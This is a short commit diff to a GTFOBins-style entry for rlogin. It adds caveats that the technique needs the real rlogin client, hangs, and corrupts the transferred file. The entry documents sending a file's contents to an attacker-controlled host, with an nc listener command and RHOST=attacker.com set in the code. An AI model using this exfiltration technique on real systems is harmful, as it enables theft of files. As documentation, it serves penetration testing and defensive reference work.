Add comments to rlogin

Close #45.

_gtfobins/rlogin.md

@@ -1,7 +1,14 @@
 ---
+description: |
+  Usually `rlogin` is a symlink to `ssh`, the following works only when the *real* `rlogin` is used (e.g., from the `rsh-client` APT package).
 functions:
   file-upload:
-    - description: Send contents of a file to a TCP port. Run `nc -l -p 12345 > "file_to_save"` on the attacker system to capture the contents.
+    - description: |
+        Send contents of a file to a TCP port. Run `nc -l -p 12345 > "file_to_save"` on the attacker system to capture the contents.
+
+        `rlogin` hangs waiting for the remote peer to close the socket.
+
+        The file is corrupted by leading and trailing spurious data.
       code: |
         RHOST=attacker.com
         RPORT=12345